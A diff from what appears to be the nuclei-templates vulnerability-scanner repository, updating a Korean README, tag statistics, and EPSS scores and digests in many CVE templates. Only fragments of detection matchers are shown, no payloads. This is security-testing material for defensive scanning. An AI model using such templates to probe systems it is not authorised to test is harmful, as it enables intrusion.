-**pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)를 통해 템플릿을 보내주시는 기여도 환영합니다.
+템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.

 ## Nuclei 템플릿 개요

@@ -39,24 +39,38 @@ Nuclei 템플릿

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei 템플릿 통계 Top 10
+### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위

-|    태그    | 개수 |    작성자     | 개수 |    디렉토리     | 개수 | 심각도 | 개수 |  종류   | 개수 |
+Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
+
+| **KEV 소스** | **템플릿 수** | **설명** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
+| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
+
+> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
+
+---
+
+## Nuclei Templates Top 10 statistics
+
+|    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
-| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
-| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
-| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
-| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
-| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**848개 디렉토리, 11344개 파일**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated
+{"tags":[{"name":"vuln","count":6497},{"name":"cve","count":3669},{"name":"discovery","count":3263},{"name":"vkev","count":1456},{"name":"panel","count":1370},{"name":"xss","count":1285},{"name":"wordpress","count":1279},{"name":"exposure","count":1162},{"name":"wp-plugin","count":1115},{"name":"rce","count":849},{"name":"osint","count":847},{"name":"tech","count":840},{"name":"misconfig","count":806},{"name":"lfi","count":803},{"name":"devops","count":744},{"name":"cloud","count":700},{"name":"wp","count":657},{"name":"detect","count":619},{"name":"edb","count":598},{"name":"wpscan","count":578},{"name":"cve2021","count":558},{"name":"packetstorm","count":551},{"name":"cve2022","count":542},{"name":"cve2023","count":519},{"name":"cve2024","count":516},{"name":"sqli","count":514},{"name":"unauth","count":495},{"name":"login","count":478},{"name":"intrusive","count":475},{"name":"kev","count":453},{"name":"authenticated","count":452},{"name":"file","count":388},{"name":"network","count":355},{"name":"cve2020","count":308},{"name":"oast","count":308},{"name":"default-login","count":294},{"name":"cve2025","count":264},{"name":"config","count":261},{"name":"tcp","count":259},{"name":"apache","count":253},{"name":"microsoft","count":251},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"auth-bypass","count":223},{"name":"malware","count":214},{"name":"token","count":214},{"name":"azure","count":210},{"name":"cve2019","count":209},{"name":"","count":206},{"name":"cve2018","count":197},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":190},{"name":"code","count":184},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":166},{"name":"ssrf","count":163},{"name":"security","count":161},{"name":"keys","count":157},{"name":"local","count":154},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"linux","count":137},{"name":"router","count":134},{"name":"ftp","count":134},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":125},{"name":"audit","count":122},{"name":"phishing","count":119},{"name":"kubernetes","count":116},{"name":"cve2010","count":115},{"name":"disclosure","count":110},{"name":"tokens","count":102},{"name":"js","count":101},{"name":"top-100","count":100},{"name":"file-upload","count":90},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"oracle","count":88},{"name":"seclists","count":86},{"name":"privesc","count":86},{"name":"takeover","count":83},{"name":"passive","count":83},{"name":"cisco","count":80},{"name":"enum","count":79},{"name":"windows","count":78},{"name":"fileupload","count":77},{"name":"k8s","count":75},{"name":"adobe","count":73},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"deserialization","count":64},{"name":"vmware","count":64},{"name":"ir","count":63},{"name":"cve2016","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"traversal","count":53},{"name":"ssh","count":53},{"name":"aem","count":52},{"name":"php","count":52},{"name":"debug","count":51},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"ssti","count":50},{"name":"logs","count":50},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"plugin","count":48},{"name":"tenable","count":48},{"name":"api","count":48},{"name":"injection","count":48},{"name":"hackerone","count":48},{"name":"ibm","count":47},{"name":"fortinet","count":47},{"name":"generic","count":47},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"aliyun","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"miscellaneous","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"postgresql","count":41},{"name":"wp-theme","count":41},{"name":"k8s-cluster-security","count":41},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"sap","count":40},{"name":"xxe","count":40},{"name":"dlink","count":39},{"name":"oob","count":39},{"name":"cti","count":38},{"name":"jira","count":38},{"name":"dns","count":38},{"name":"devsecops","count":38},{"name":"osint-coding","count":36},{"name":"graphql","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"dashboard","count":35},{"name":"fuzz","count":35},{"name":"yonyou","count":34},{"name":"networking","count":34},{"name":"printer","count":34},{"name":"gitlab","count":34},{"name":"xwiki","count":34},{"naLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
-| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
-| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
-| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
-| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
-| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
-| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
-| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
-| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
-| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
+| vuln      |  6497 | dhiyaneshdk   |  1923 | http       |  9423 | info     |  4395 | file |   445 |
+| cve       |  3669 | daffainfo     |   908 | cloud      |   661 | high     |  2602 | dns  |    27 |
+| discovery |  3263 | princechaddha |   857 | file       |   445 | medium   |  2501 |      |       |
+| vkev      |  1456 | dwisiswant0   |   805 | code       |   275 | critical |  1597 |      |       |
+| panel     |  1370 | ritikchaddha  |   691 | network    |   264 | low      |   342 |      |       |
+| xss       |  1285 | pussycat0x    |   688 | dast       |   241 | unknown  |    54 |      |       |
+| wordpress |  1279 | pikpikcu      |   352 | workflows  |   205 |          |       |      |       |
+| exposure  |  1162 | pdteam        |   316 | javascript |    97 |          |       |      |       |
+| wp-plugin |  1115 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| rce       |   849 | iamnoooob     |   263 | dns        |    24 |          |       |      |       |
@@ -12,7 +12,7 @@ info:
    verified: true
  classification:
    epss-score: 0.94464
-    epss-percentile: 0.99995
+    epss-percentile: 0.99994
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
@@ -138,4 +138,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4a0a004730450221009248de2c0ef4ac8a4f71b5ee7b8b1017465a7b351bbccc28a47b1f1cf89fb93f022071d11ef9b715f4466da96f4b6dda9a4c3aa11740d37807742347cbd0da52e10c:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044021f08730bdd93c1e5d349e30aba9d6e49708554854c599f6b69e570663e6937f6022100f69bf373b4572851d2943c9ac6e1c502ea41197277abaa4d58ab5c147bafcac9:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2016-8735
    epss-score: 0.93875
-    epss-percentile: 0.99862
+    epss-percentile: 0.9986
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -16,7 +16,7 @@ info:
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
    epss-score: 0.94508
-    epss-percentile: 0.99999
+    epss-percentile: 1
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -104,4 +104,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a0047304502201673a5118dfdbecf60a1be63a1d24a000ed266e10d0c7fb6f78eb4598669fde1022100fa926a7397ae4e913a90e271a609b90629fd6be8e250915b0abe22c282144c60:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220013b6879d7764487c8b88f29158a874858c91a913af2263e70b20f6120607c7e022100907a0683448cf78b2c40b409b2ea20a8f53080bc0433c209b1f27d4f11e042ab:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
    epss-score: 0.94414
-    epss-percentile: 0.99976
+    epss-percentile: 0.99975
  metadata:
    verified: true
    vendor: microsoft
@@ -154,4 +154,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4b0a0048304602210082461cf3c1e6dd2447ebe24351e8beb9729daeaa31c70ffcee8b29094d53e51b022100e6f972c3ab3ec97a3380691d598c83e68e66ecb8f2eb69db912e5d3f66231e1d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e24420fdcf4de91d370c7aad1109a0b9e12c7a0a5a45977bdf9b1deab4edd5bb022100be4cf9432583500208d8282bda0b5913b0a99f46d01a4dcf9bd8cf0cb766a523:922c64590222798bb761d5b6d8e72950
@@ -47,4 +47,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 4a0a00473045022100d0abebe382b6585762c3983a0c9ee1b836a7536fa35f378be5c37b4e741d64c20220248685182e4b3a2c50236ac194147a863c4f655b768b5e0fb7afb5c55a709956:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210085b92685b1bfd0414acb52977757bd76db71254cccdeb2fcae945c82eaf44ece02210087377f6d6c7dd561271722a2aff63533e21217b470225075ffb2e23a5087b95a:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.93368
-    epss-percentile: 0.99801
+    epss-score: 0.93865
+    epss-percentile: 0.99858
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -102,4 +102,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4a0a00473045022100d8ca91da973cb5641abb7ce0a20ead96c28cf44d21966e52a142e683247b5c78022042c8ea4dc231b868c758f0d0568704d0a7f78400cbab8bb89c95f3733bdd8df3:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d77b29d042f79c530ecf6ccde43ddc5e50c3dd33fe80a2fd99dd1e903cdb139022014c72663cbad42f4b76119650e3a2e8043cd3e9e7808beb1fafc7504d41bb47a:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2020-13935
    epss-score: 0.92155
-    epss-percentile: 0.99694
+    epss-percentile: 0.99693
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
    epss-score: 0.92235
-    epss-percentile: 0.99699
+    epss-percentile: 0.99698
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -40,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4a0a00473045022013a1e58f8491a141a4fec2c7b546a6cf99b18bf2dd63716e76414ab2fc8038bd022100aec0ca187480bd96264776e45c4af2d61ad2010c4b651a138eb35035307a84aa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dc7c00ab176125258a61cb73cbae4a476ac3ed30e413a84da417d2ad940ba1a002205cc8a03b781e29c9c66b73f9259fa9bf87970e52b84ef2d5551672d9afba95b0:922c64590222798bb761d5b6d8e72950
@@ -23,7 +23,7 @@ info:
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
    epss-score: 0.9394
-    epss-percentile: 0.99874
+    epss-percentile: 0.99871
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -197,4 +197,4 @@ code:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 4b0a00483046022100ed808e760e417d0f6c32d1aecd5460a4fe249a967ba22098674c1f45350f7ab6022100a759d5ada5bbdbe24281dd4663ac0241bb95edb21d16efb6eeb22db76ed8ad15:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d2af2dfdaec0bb3603e11ee21cae5d8d463d064346c4fd33dafd0d54c73937b9022074421a7c25d5e18222da9a0a70b404a14a17cfa85f01a7480285ea8fa9f9a5dc:922c64590222798bb761d5b6d8e72950
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4a0a0047304502204b13735f6868e13a0c10f8833b7ea058fd80a1375ab8112b21ac0a5c5267fb02022100865245f6054ef06d511aed97e1bbbf9779334c6a5cf6a0a602a428d3f476fb2e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e3e54ab5bfb2f60d03b6a237019b84cfecb2eace4381bb1b959ae0764f1dce8202203f1220006e8e5d19d69b6e74c701295f2d06c2649a269ee45f38e578750b64f9:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-2986
    epss-score: 0.91769
-    epss-percentile: 0.99665
+    epss-percentile: 0.99663
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -626,4 +626,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4b0a00483046022100c38074bc9182c91fa4aa52666a704149021c8908632fa3016715a20d8417c16d022100d982cc94fa014a734ee2aa391487a8b14a3b7ac3e6ef904c5f53ff6bab36e945:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fd36f070fb1283f5714fcdd0abf3b8f840a3a849d12a42a98aaef8a4a7b92e4022100e43e4a9d7aabf92eac650ef4ccc0165fc0c166a1f68e60690329b93738a4ba32:922c64590222798bb761d5b6d8e72950
@@ -90,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 490a004630440220765384899f5b4edf82333616738454905565aea2c4b1c1d42712d73ab558b6c802203dcc2e6ab6c818a087b3c263199a40f6a0252212c2836fc281f30638b1da22f9:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f476545141ffc0526b4e3c7c6d59d2ac7b6bd6737263b3e5c43382c39b3488e0220343b85850dbe3d9c50b8b098109edcfa85d2743f605d6aadc13d6e49d0f72ad1:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
    epss-score: 0.69791
-    epss-percentile: 0.98592
+    epss-percentile: 0.98589
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022046475136023de7d89f4d07f7be50a7323685c3667d057a45feaa3022e12392d1022100855619257ceddb71aadeef525ba38b1a7f109a161b48490f2c31271dfb17e995:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210088de18f60ccbfb17a2d25e4bae39d32bb2d4dc5b2bdf5e5282427943e933ca400221009937c76fda32aa99520007e948e8e7c1f58a95828d58dcfbf252e068a511b519:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
    epss-score: 0.31786
-    epss-percentile: 0.96595
+    epss-percentile: 0.96611
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502207ae2273ed4d824aa51c80a09c1f2bd1ebb5f41bbca8cb18e0e3950eeca6f1216022100ca651ddce1e4d877d50c1576f965165e883f340b3e38b215f722675fe017f507:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a831a78eed0a5135ad8c5cbde8a4d335acc624a56494bcfe0f228edfb75546e9022077e10905de69a2e5fb978187e1035ee975e8ad1395543a16d1b35a831d54efe5:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.72012
-    epss-percentile: 0.9868
+    epss-score: 0.67268
+    epss-percentile: 0.98482
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -54,4 +54,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a00473045022100ae1c05abafa78476657da1529dff3db455e58c74aeaf83b3ba9fd9edad7b793502206274514fac6586024489c98bbb5f51826a6c27a2f2c8c45a9596e982f7f157d0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100909ec94556f8b16006475d760a1911e4a59beaec4a369f95fc71646b6c5567ad02205284d000fddabfb0eb4d3e53c789faa351c731ea5b3d2a7cca511d89992eda52:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,7 @@ info:
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
    epss-score: 0.93687
-    epss-percentile: 0.99833
+    epss-percentile: 0.99832
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -37,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4b0a00483046022100bcb70958bd42473e557963672c2efd5866879d3fd84e491b51e19b39e53ac0b6022100cec4f199e93652df8d28806d7fa5ebf4e7eee2e68522774ed5ad2fda01bf9d05:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022044b3b01083ee26fd4013799925fc4b832efbc6109f7afb5f3236d98c0203b2290221008eeccd0a8f6a91a3549be4004db0eb45db41394ba3840e6312e9c54728ef81ec:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
    epss-score: 0.93259
-    epss-percentile: 0.99792
+    epss-percentile: 0.99791
  metadata:
    max-request: 1
    vendor: zabbix
@@ -71,4 +71,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 490a0046304402207783c5e0f90deb3fccccce9f56fb5dd92e85e8826238d13ed6c3709234273869022003e8484178cc55ed3e25f4e1d1c903f9ab7063782a7583411b0b994d5056a768:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f252e3b49ae5db52b7618d5c2654208aae47358ef7dfec34ac50e4281eebd4c60220695276f5ed29947a82f3afa67e1066d5cb2e66272589168d633e2f54898866c5:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
    epss-score: 0.85778
-    epss-percentile: 0.99331
+    epss-percentile: 0.99333
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -59,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022100a0d073e749ca6ad75d73fdd7acdba35bdafbe683161d1048fab8a5c500151d4302201ce17d0b3b3dcc7eec199a9afb9ada9aae868b3b76decbd3e4a9f65e4003d827:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c10d938a67c70489ce2f679b3c1edca76f59c9b76b8a14973cbcae39272043880220412432fb30cc1ab6715bbd68ddd11c36c56c55e2ad736a047b6c25ea8368eeef:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.16207
-    epss-percentile: 0.94534
+    epss-score: 0.15162
+    epss-percentile: 0.94328
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -29,4 +29,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 4a0a00473045022100b819799bd0488e933b8a2ed849069c0b3530077714f1bfc79230027f4f858c750220617cdbfe5eb6b8c3780e8b26746f057b8d88ae69509b596a78ea82cd923d05a9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c4901d7cffb025864722c0ebb1836da18c540df805f350b363c7d098ace5ce150220074efd03642822ab6121b1c028806d3ab90e59802c8ad61a5002253c26001d7a:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
    epss-score: 0.39163
-    epss-percentile: 0.97104
+    epss-percentile: 0.97105
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a00463044022064088ec4af0af275c870f6aaaa143d10b793f84baf5411ec996261b9b4da55a402200cdbf8c72666b3a9db0277b4c0e4be7b100883333321f7d89add6f3d551d3440:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022050d3597a46db26baf1399bfebea1bccc212318e39c2da4dad3b72cb7978fb29a022001cfd6dfb7fe87712ee6eb058f3d18c1f996be490431e25202e25031669c0c7c:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
